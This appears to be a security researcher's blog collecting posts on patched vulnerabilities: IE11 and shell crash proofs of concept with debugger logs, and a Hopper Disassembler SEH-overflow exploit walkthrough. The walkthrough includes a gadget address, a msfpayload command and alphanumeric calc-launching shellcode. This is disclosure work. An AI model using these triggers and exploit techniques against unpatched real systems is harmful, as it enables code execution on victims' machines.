[CVE-2015-3679] Apple OS X morx nSubtables Memory Corruption Remote Code Execution and [CVE-2015-3680] DFont FOND Memory Corruption Remote Code Execution

Yesterday Apple has released a security update 2015-005 which included fixes for two vulnerabilities related to font parsing in OS X that i have reported to the ZDI. See original advisories for CVE-2015-3679 and CVE-2015-3680.

Browsing stackoverflow for interesting crashes - Microsoft Internet Explorer 11

Here is a nice example why it is worth to browse stackoverflow.com for crash reports. Recently i stumbled upon this post:
http://stackoverflow.com/questions/28114732/internet-explorer-11-crashes-when-angulars-http-post-is-used-with-large-complex

I checked it out and as for today (22 Jun 2015) it crashes the latest Internet Explorer 11. The crash log looks interesting:

	(c14.12b0): Access violation - code c0000005 (!!! second chance !!!)
	*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\SYSTEM32\ntdll.dll -
	*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\jscript9.dll -
	eax=0dcede18 ebx=1762ef78 ecx=0dcede88 edx=1767cff0 esi=1759e980 edi=1759e980
	eip=6a291314 esp=0b0dc5a8 ebp=0b0dc5d0 iopl=0 nv up ei pl nz na pe nc
	cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
	jscript9!DllCanUnloadNow+0xb5d24:
	6a291314 8b4a04 mov ecx,dword ptr [edx+4] ds:002b:1767cff4=????????
	0:006> .symfix
	0:006> .reload
	Reloading current modules
	................................................................
	.......................
	0:006> r
	eax=0dcede18 ebx=1762ef78 ecx=0dcede88 edx=1767cff0 esi=1759e980 edi=1759e980
	eip=6a291314 esp=0b0dc5a8 ebp=0b0dc5d0 iopl=0 nv up ei pl nz na pe nc
	cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
	jscript9!Js::TempArenaAllocatorWrapper<1>::Dispose+0x14:
	6a291314 8b4a04 mov ecx,dword ptr [edx+4] ds:002b:1767cff4=????????
	0:006> kb
	ChildEBP RetAddr Args to Child
	0b0dc5ac 6a10d794 00000000 0dd00d8c 1762ef78 jscript9!Js::TempArenaAllocatorWrapper<1>::Dispose+0x14
	0b0dc5d0 6a10d9af 00000800 0dd04340 0dcfc9f0 jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x92
	0b0dc5f4 6a10d87f 0957edc8 00000800 0dcfc9f0 jscript9!HeapInfo::DisposeObjects+0xb0
	0b0dc624 6a10d82d 6a10ff8b 0dcfc9f0 0dceef68 jscript9!Recycler::DisposeObjects+0x4a
	0b0dc628 6a10ff8b 0dcfc9f0 0dceef68 0b0dc650 jscript9!Recycler::FinishDisposeObjects+0x1a
	0b0dc644 6a109ea6 11080000 0dcfc9f0 0dceddc0 jscript9!Recycler::FinishConcurrentCollect+0x196
	0b0dc658 6a109e5b 0dcfc9f0 6a10e860 11080000 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x26
	0b0dc690 6a109f3b 0dcfc9f0 6a10e860 11080000 jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x3b
	0b0dc6dc 6a10e83b 0dcfc9f0 6a10e860 11080000 jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0xfc
	0b0dc714 6a16faad 11080000 0e9faff0 6a16fa4b jscript9!Recycler::FinishConcurrentCollectWrapped+0x55
	0b0dc720 6a16fa4b 6a2d4610 0b0df8fc 6d0ff57c jscript9!Recycler::FinishConcurrent<285736960>+0x3c
	0b0dc72c 6d0ff57c 0e9faff0 080b4e48 0b0e4fe0 jscript9!RecyclerFinishConcurrentIdleTask::RunIdleTask+0x25
	0b0df8fc 6d24f738 0b0df9c8 6d24f3b0 080b6ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x582
	0b0df9bc 6e21e61c 080b4e48 0b0df9e0 6d2530d0 IEFRAME!LCIETab_ThreadProc+0x37b
	0b0df9d4 6cf93991 080b6ff0 6cf93900 6cf93900 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
	0b0dfa0c 74957c04 0a49efe8 74957be0 17b0aa1a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
	0b0dfa20 7705ad1f 0a49efe8 140487b2 00000000 KERNEL32!BaseThreadInitThunk+0x24
	0b0dfa68 7705acea ffffffff 7704023e 00000000 ntdll!__RtlUserThreadStart+0x2f
	0b0dfa78 00000000 6cf93900 0a49efe8 00000000 ntdll!_RtlUserThreadStart+0x1b
	0:006> .load winext/msec.dll
	0:006> !exploitable
	Exploitability Classification: PROBABLY_EXPLOITABLE
	Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls subsequent Write Address starting at jscript9!Js::TempArenaAllocatorWrapper<1>::Dispose+0x0000000000000014 (Hash=0x6561665f.0x374b4e14)
	The data from the faulting address is later used as the target for a later write.

view raw jsonp_crash.txt hosted with ❤ by GitHub

The proof of concept from the post is huge so i decided to downsize it a bit and here it is:

	<!doctype html>
	<html ng-app="app">
	<head>
	<script src="https://code.angularjs.org/1.4.0/angular.js"></script>
	<script>
	angular.module('app', []).run(function($http) {
	$http.post("/boom",
	{
	"a1": {
	"a2": {
	"a3": {
	"a4": {
	"a5": {
	"a6": "AAAAAAAAAA",
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	},
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	},
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	},
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	},
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	},
	"b1": "AAAAAAAAAA",
	"b2": "AAAAAAAAAA",
	"b3": "AAAAAAAAAA",
	"b4": "AAAAAAAAAA",
	"b5": "AAAAAAAAAA",
	"b6": "AAAAAAAAAA",
	"b7": "AAAAAAAAAA",
	"b8": "AAAAAAAAAA",
	"b9": "AAAAAAAAAA",
	"b10": "AAAAAAAAAA",
	"b11": "AAAAAAAAAA",
	"b12": "AAAAAAAAAA",
	"b13": "AAAAAAAAAA",
	"b14": "AAAAAAAAAA",
	"b15": "AAAAAAAAAA",
	"b16": "AAAAAAAAAA",
	"b17": "AAAAAAAAAA",
	"b18": "AAAAAAAAAA",
	"b19": "AAAAAAAAAA",
	"b20": "AAAAAAAAAA",
	}
	)
	});
	</script>
	</head>
	<body>
	boom
	</body>
	</html>

view raw json_poc.html hosted with ❤ by GitHub

Certainly more readable. As usual maybe someone will find it useful.

From one of the comments in the stackoverflow discussion, we can see that Microsoft is already looking into it (23 Jan 2015).

Update:

The bug was patched in the July 2015 MS Bulletin (probably this one MS15-065 - CVE-2015-2419)

Update #2:

Great in-depth analysis of the bug by the guys from Checkpoint: http://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/

Microsoft Internet Explorer 11 Crash PoC

A test case that looked interesting at first, but most likely it is only a null ptr. Anyway you can find the proof of concept below.

	<html>
	<head>
	<meta http-equiv="Cache-Control" content="no-cache"/>
	<script>
	function boom() {
	var divA = document.createElement("div");
	document.body.appendChild(divA);
	try {
	//divA.contentEditable = "true";
	divA.outerHTML = "AAAA";
	var context = divA['msGetInputContext']();
	}
	catch (exception) {
	}
	}
	</script>
	</head>
	<body onload='boom();'>
	</body>
	</html>

view raw ie11_getinputcontext.html hosted with ❤ by GitHub

It was tested on Windows 7 and 8.1, doesnt crash on older versions of IE as the faulty code was introduced in IE11.

	(4684.4fcc): Access violation - code c0000005 (!!! second chance !!!)
	eax=00000000 ebx=0e2b6f84 ecx=00000000 edx=0a8e7fb8 esi=00000000 edi=0e2b6e98
	eip=5f302e86 esp=0a84b074 ebp=0a84b098 iopl=0 nv up ei pl zr na pe nc
	cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
	MSHTML!Tree::ElementNode::GetCElement:
	5f302e86 f7410800001000 test dword ptr [ecx+8],100000h ds:002b:00000008=????????
	0:017> .symfix
	0:017> .reload
	Reloading current modules
	................................................................
	...........................
	0:017> kb
	ChildEBP RetAddr Args to Child
	0a84b070 5f9e4857 00000001 0e2b6e98 0a84b0ac MSHTML!Tree::ElementNode::GetCElement
	0a84b080 5f474190 00000001 00000000 0a8d1fc8 MSHTML!CTsfTextStore::Initialize+0x8c
	0a84b098 5f474108 00000001 00000000 0a8d1fc8 MSHTML!TSmartPointer<CTsfTextStore>::Create<CElement *>+0x4f
	0a84b0b0 5f476fed 00000001 00000000 09445840 MSHTML!CTsfTextStore::CreateForElement+0x15
	0a84b0cc 5f476f6e 00000000 00001049 0a84b0ec MSHTML!CElement::Var_msGetInputContext+0x4a
	0a84b0f8 5d05eeee 09445840 02000001 09440330 MSHTML!CFastDOM::CHTMLElement::Trampoline_msGetInputContext+0x3e
	0a84b158 5d0e579b 09445840 02000001 09440330 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x101
	0a84b1ac 5d0e5811 08ca206e 09445840 00000000 jscript9!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutCallI_OneByte> >+0xd7
	0a84b3a0 5d0e5977 06ae94f3 0a84b5d0 08ca204c jscript9!Js::InterpreterStackFrame::Process+0x228b
	0a84b3d8 5d0e59d6 0a84b5bc 08ca2054 0a84b5d0 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
	0a84b5c8 5d05cd0b 08ca2074 09165120 08ca2000 jscript9!Js::InterpreterStackFrame::Process+0x39dc
	0a84b6f4 093c0fd9 0a84b708 0a84b8f8 5d05c5cd jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1ce
	WARNING: Frame IP not in any known module. Following frames may be wrong.
	0a84b700 5d05c5cd 09109ce0 10000001 09163180 0x93c0fd9
	0a84b8f8 5d05cd0b 08ca704a 09165360 08ca7000 jscript9!Js::InterpreterStackFrame::Process+0x1940
	0a84ba1c 093c0fe1 0a84ba30 0a84ba70 5d05866d jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1ce
	0a84ba28 5d05866d 09109d60 00000002 09163180 0x93c0fe1
	0a84ba70 5d058da5 00000002 0a84bbfc 06ae9dcf jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
	0a84bae4 5d058cdf 055178b8 00000002 0a84bbfc jscript9!Js::JavascriptFunction::CallRootFunction+0xc1
	0a84bb2c 5d058c5f 0a84bb54 00000002 0a84bbfc jscript9!ScriptSite::CallRootFunction+0x42
	0a84bb5c 5d05d490 09109d60 0a84bb84 00000000 jscript9!ScriptSite::Execute+0x61
	0a84bbb8 5d05d3cc 00000002 0a84bbfc 00000000 jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb
	0a84bbd0 5f64834c 054c5de0 09109d60 00000002 jscript9!ScriptEngineBase::Execute+0x1c
	0a84bc8c 5f6481e6 09109d60 10d32fa0 10e70fc0 MSHTML!CListenerDispatch::InvokeVar+0x15a
	0a84bcb8 5f647eb2 10d32fa0 10e70fc0 0a84be68 MSHTML!CListenerDispatch::Invoke+0x6d
	0a84bd58 5f648056 0a84be68 00000001 10d32fa0 MSHTML!CEventMgr::_InvokeListeners+0x1fe
	0a84bd70 5f647f43 10d32fa0 00000000 00000001 MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42
	0a84be00 5f4056d8 0a84be68 00000000 10d32fa0 MSHTML!CEventMgr::_InvokeListeners+0x13e
	0a84bf80 5f40914f 00000000 ffffffff 00000000 MSHTML!CEventMgr::Dispatch+0x371
	0a84bfa8 5f4f8afd 10f4cfe0 ffffffff 0dc60f68 MSHTML!CEventMgr::DispatchEvent+0x90
	0a84bfe0 5f4f85e9 0a84c048 5f2ec860 0a89dbb8 MSHTML!COmWindowProxy::Fire_onload+0x146
	0a84c040 5f4f8239 0d984bd0 0ef3cf48 0d984bec MSHTML!CMarkup::OnLoadStatusDone+0x373
	0a84c054 5f4f7500 00000004 0dcbaf98 0a84c4b4 MSHTML!CMarkup::OnLoadStatus+0xfa
	0a84c498 5f4e3a72 10000019 0a84c4f0 5f2ed385 MSHTML!CProgSink::DoUpdate+0x4c7
	0a84c4a4 5f2ed385 0ef3cf48 0ef3cf48 0d8ebcc8 MSHTML!CProgSink::OnMethodCall+0x12
	0a84c4f0 5f2eccaa 0691c273 00000000 5f2ebe80 MSHTML!GlobalWndOnMethodCall+0x16d
	0a84c540 76b462fa 00020520 00008002 00000000 MSHTML!GlobalWndProc+0x2e5
	0a84c56c 76b46d3a 5f2ebe80 00020520 00008002 user32!InternalCallWinProc+0x23
	0a84c5e4 76b477c4 00000000 5f2ebe80 00020520 user32!UserCallWinProcCheckWow+0x109
	0a84c644 76b4788a 5f2ebe80 00000000 0a84f820 user32!DispatchMessageWorker+0x3bc
	0a84c654 6065e0f8 0a84c694 09f6ce48 0a220fe0 user32!DispatchMessageW+0xf
	0a84f820 60692858 0a84f8ec 606924d0 09f6eff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
	0a84f8e0 7502e51c 09f6ce48 0a84f904 606ed630 IEFRAME!LCIETab_ThreadProc+0x37b
	0a84f8f8 74633991 09f6eff0 00000000 00000000 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
	0a84f930 76c4336a 09a94fe8 0a84f97c 774692b2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
	0a84f93c 774692b2 09a94fe8 7ee4ba15 00000000 kernel32!BaseThreadInitThunk+0xe
	0a84f97c 77469285 74633900 09a94fe8 ffffffff ntdll!__RtlUserThreadStart+0x70
	0a84f994 00000000 74633900 09a94fe8 00000000 ntdll!_RtlUserThreadStart+0x1b

view raw getinputcrash.log hosted with ❤ by GitHub

Crashing Shells

A quick post about two crashes i found in tcsh (default FreeBSD shell, however the BSD version does not segfault) and mksh (default shell on Android). As i'm not planning to research it further, i will just leave it here. Maybe someone will figure out if any of this can be exploited somehow.

tcsh:
1. Affected version
 tcsh 6.18.01 and maybe older. FreeBSD version handled it just fine.

3. PoC

$ perl -e 'print "\$?:\x80"' | tcsh

Program received signal SIGSEGV, Segmentation fault.
0x080d827a in xputchar (c=8388738) at sh.print.c:156
156 if(iscntrl(c) && (ASC(c) < 0x80 || MB_CUR_MAX == 1)) {
(gdb) x/i $eip
=> 0x80d827a : movzwl (%eax,%ebx,2),%edx

Where the last byte marked with red color can be anything > 0x79 to trigger the crash.

Android shell / mksh:

1. Affected version
mksh-R50e and maybe older. Tested on latest source version and a Nexus with Android 5.0.1

2. PoC

D:\Android\sdk\platform-tools>adb shell # run shell
shell@mako:/ $ cd sdcard # must be a dir that is not read-only
cd sdcard
shell@mako:/sdcard $ 4444444444444>4 # actual input that causes the crash
4444444444444>4

D:\Android\sdk\platform-tools> # our shell died 

	Logcat output:
	F/libc ( 7647): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x53a686f4 in t
	id 7647 (sh)
	I/DEBUG ( 1468): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *
	**
	I/DEBUG ( 1468): Build fingerprint: 'google/occam/mako:5.0.1/LRX22C/1602158:us
	er/release-keys'
	I/DEBUG ( 1468): Revision: '11'
	I/DEBUG ( 1468): ABI: 'arm'
	I/DEBUG ( 1468): pid: 7647, tid: 7647, name: sh >>> /system/bin/sh <<<
	I/DEBUG ( 1468): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x53a68
	6f4
	W/NativeCrashListener( 1803): Couldn't find ProcessRecord for pid 7647
	I/DEBUG ( 1468): r0 fffffeb0 r1 b6fc1e9c r2 b895edd0 r3 b895f8bc
	E/DEBUG ( 1468): AM write failure (32 / Broken pipe)
	I/DEBUG ( 1468): r4 b895f3fc r5 cd88471c r6 00000000 r7 00000002
	I/DEBUG ( 1468): r8 b8960d3c r9 00000003 sl 00000000 fp b6fbd876
	I/DEBUG ( 1468): ip 00000002 sp bea658b0 lr b6fa7e0d pc b6fa7e6c cpsr
	20070030
	I/DEBUG ( 1468):
	I/DEBUG ( 1468): backtrace:
	I/DEBUG ( 1468): #00 pc 0000ce6c /system/bin/sh
	I/DEBUG ( 1468): #01 pc 00018f13 /system/bin/sh
	I/DEBUG ( 1468): #02 pc 00002d37 /system/bin/sh
	I/DEBUG ( 1468): #03 pc 00011e95 /system/lib/libc.so (__libc_init+44)
	I/DEBUG ( 1468): #04 pc 00002e00 /system/bin/sh
	I/DEBUG ( 1468):
	I/DEBUG ( 1468): Tombstone written to: /data/tombstones/tombstone_04

view raw android shell crash hosted with ❤ by GitHub

It seems to crash at exec.c:1415 in function iosetup() if (e->savefd[iop->unit] == 0) {

update:
by manipulating the first part of the expression we can control EAX and EBP value:
e.g.

$ 10947955850>1

Program received signal SIGSEGV, Segmentation fault.
0x80009c92 in ?? ()
(gdb) i r
eax            0x8c8c8c8a       -1936946038
ecx            0x3      3
edx            0x0      0
ebx            0x8003be50       -2147238320
esp            0xbffff210       0xbffff210
ebp            0x991da068       0x991da068
esi            0x80044a54       -2147202476
edi            0x2      2
eip            0x80009c92       0x80009c92
eflags         0x10206  [ PF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

$ 1000200887800>1
Program received signal SIGSEGV, Segmentation fault.
0x80009c92 in ?? ()
(gdb) i r
eax            0xe09e5df8       -526492168
ecx            0x3      3
edx            0x0      0
ebx            0x8003be50       -2147238320
esp            0xbffff210       0xbffff210
ebp            0x41414344       0x41414344
esi            0x80044a54       -2147202476
edi            0x2      2
eip            0x80009c92       0x80009c92
eflags         0x10206  [ PF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) bt
#0  0x80009c92 in ?? ()
Backtrace stopped: Cannot access memory at address 0x41414348

The bug has been patched in the latest R-50f release.
Bug report can be seen here and the fix here.

Microsoft Internet Explorer CShadow Direction Integer Overflow Remote Code Execution CVE-2015-0036 (MS15-009)

In this months bulletin Microsoft has fixed multiple vulnerabilities in Internet Explorer including one which was mine. It was an integer overflow in the CShadow filter which could lead to remote code execution. It affected Internet Explorer 10 and 11. You can find the original ZDI advisory here and the Microsoft Bulletin here.

There is some confusion when it comes to CVE assignment, as Microsoft acknowledged me for CVE-2015-0035 (also credited to Sky) while ZDI marked my bug CVE-2015-0036 which is credited to an anonymous researcher on the bulletin page. I will update this post if something changes regarding to that.

Hopper Disassembler 2.8.7 / 3.6.2 Mach-O Handling Buffer Overflow

Inspired by @j00ru talk @ SECURE 2014 i decided to do a quick check of Hopper Disassembler (which is a great tool btw, I highly recommend it).

As a sample i simply used one of the system tools from OS X (/bin/ls) and started fuzzing. I quickly began recording tons of crashes.The most interesting one was this:

	Windows 7:
	(1fc4.2034): Access violation - code c0000005 (!!! second chance !!!)
	eax=00000000 ebx=00000000 ecx=41414141 edx=7737b4ad esi=00000000 edi=00000000
	eip=41414141 esp=00091370 ebp=00091390 iopl=0 nv up ei pl zr na pe nc
	cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
	41414141 ?? ???
	0:000> !exchain
	00091384: ntdll!ExecuteHandler2+3a (7737b4ad)
	[...]
	00284ce0: ntdll!ExecuteHandler2+3a (7737b4ad)
	0028dc28: 41414141
	Invalid exception stack at 41414141
	Mac OS X:
	Process: Hopper Disassembler v3 [67557]
	Path: /Applications/Hopper Disassembler v3.app/Contents/MacOS/Hopper Disassembler v3
	Identifier: com.cryptic-apps.hopper-web-3
	Version: 3.6.2 (3.6.2)
	Code Type: X86-64 (Native)
	Parent Process: launchd [243]
	Responsible: Hopper Disassembler v3 [67557]
	User ID: 501
	Date/Time: 2014-11-17 18:42:29.156 +0100
	OS Version: Mac OS X 10.9.5 (13F34)
	Report Version: 11
	Anonymous UUID: XXXXXX
	Sleep/Wake UUID: XXXXXX
	Crashed Thread: 0 Dispatch queue: com.apple.main-thread
	Exception Type: EXC_BAD_ACCESS (SIGSEGV)
	Exception Codes: KERN_INVALID_ADDRESS at 0x00007fff5e0b3000
	VM Regions Near 0x7fff5e0b3000:
	Stack 00007fff5d8b3000-00007fff5e0b3000 [ 8192K] rw-/rwx SM=COW thread 0
	-->
	__TEXT 00007fff67cd3000-00007fff67d07000 [ 208K] r-x/rwx SM=COW /usr/lib/dyld
	Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
	0 libsystem_platform.dylib 0x00007fff8b85709a _platform_memmove$VARIANT$Nehalem + 186
	1 libsystem_c.dylib 0x00007fff8ace2dcb __sfvwrite + 763
	2 libsystem_c.dylib 0x00007fff8acec5f9 __vfprintf + 14934
	3 libsystem_c.dylib 0x00007fff8ad112db __v2printf + 471
	4 libsystem_c.dylib 0x00007fff8acf71dd vsprintf_l + 436
	5 libsystem_c.dylib 0x00007fff8ad24d4b __sprintf_chk + 190
	6 ??? 0x0000000101c4b767 0 + 4324636519
	7 ??? 0x0000000101c4b264 0 + 4324635236
	8 ??? 0x0000000101c48590 0 + 4324623760
	9 ??? 0x0000000101c8ad1f 0 + 4324896031
	10 ??? 0x4141414141414141 0 + 4702111234474983745

view raw hopper_crash hosted with ❤ by GitHub

And file diff showed something like that:

Its pretty straightforward right ? I checked the modules, and a standard SEH exploit should work for us:

I calculated the offsets:

By now i thought it's over, but first problems started to show when i wanted to substitute my A's and B's with pointers and other non printable characters (e.g. NOPs or INT 3) - Hopper would not crash at all.
Instead of NOPs i could use \x40\x48 which is inc eax, dec eax.

Regarding SEH overwrite i couldn't use short jump so i had to find a pointer that would later assemble to a instruction that wouldn't crash. Fortunately libpng had a nice ascii printable pointer which i could use for pop pop ret.

0x64743851 : pop edi # pop ebp # ret | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [libpng15-15.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (D:\Program Files (x86)\Hopper Disassembler\libpng15-15.dll)

view raw poppopret hosted with ❤ by GitHub

Next there was a problem with ascii only shellcode. I needed one of the register to point to it, but in case of SEH registers are XOR'ed. I found a solution here. Basically by using multiple POPAD instructions we can get ESP point to our buffer and then return to it.

Now we can just generate our shellcode and place it in the controlled area:

	root@kali:~# msfpayload windows/exec CMD=calc R | msfencode BufferRegister=ESP -e x86/alpha_upper -t raw
	[*] x86/alpha_upper succeeded with size 453 (iteration=1)
	TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHLIS0C030CPK9ZEP1YBBDLKV26PLK62TLLKF2EDLKSB6HTOH7PJVFP1KOVQYPNLGLU13LERFL10YQXOTM318GZBJP1B1GLKF24PLK72WL5QN0LK70T8LEO0441ZUQ8PF0LK1XB8LKQHGP5Q8SM37LPILK6TLK5Q8V01KO01O0NLIQHO4MEQO77HKPBUKDS3CMZXGKSMVD45JB0XLKF81431YCU6LK4LPKLKV85LC1HSLKUTLKC18PK974147T1KQKE11I1J61KOM0V81O1JLK22JKLFQM2JC1LMLEX9UP30S060BHFQLKBOMWKOXUOKL0NUNBV63XNFLUOMMMKOIEWL5VSL5ZK0KKKP2UTEOK775C2RROCZ5P63KO9ESSE12LSSUPAA

view raw gistfile1.txt hosted with ❤ by GitHub

When we let it run we get:

Short demo:

The final result can be downloaded here: Hopper run calc

Vulnerable versions:
Hopper 2.8.7 and probably older versions (tested on Windows)
Hopper 3.6.2 and probably older versions (tested on Mac OS X)
Linux version was not tested.

Timeline:
17 Nov 2014 - issue reported to the vendor
18 Nov 2014 - vendor releases a fix for Mac OS X (3.6.3 version)
 24 Nov 2014 - publication of this article
Windows version remains unpatched as its development is currently on hold.

SyScan360 2014 - Mobile Browsers Security: iOS

Last week together with Lukasz Pilorz I was speaking about mobile browsers security on iOS @ SyScan360 in Beijing. Visiting China for the first time was a great experience, and the conference itself was just awesome. Cool people, very technical talks and good organization is what it makes this event exceptional.

Our slides are already available for download from the conference site here.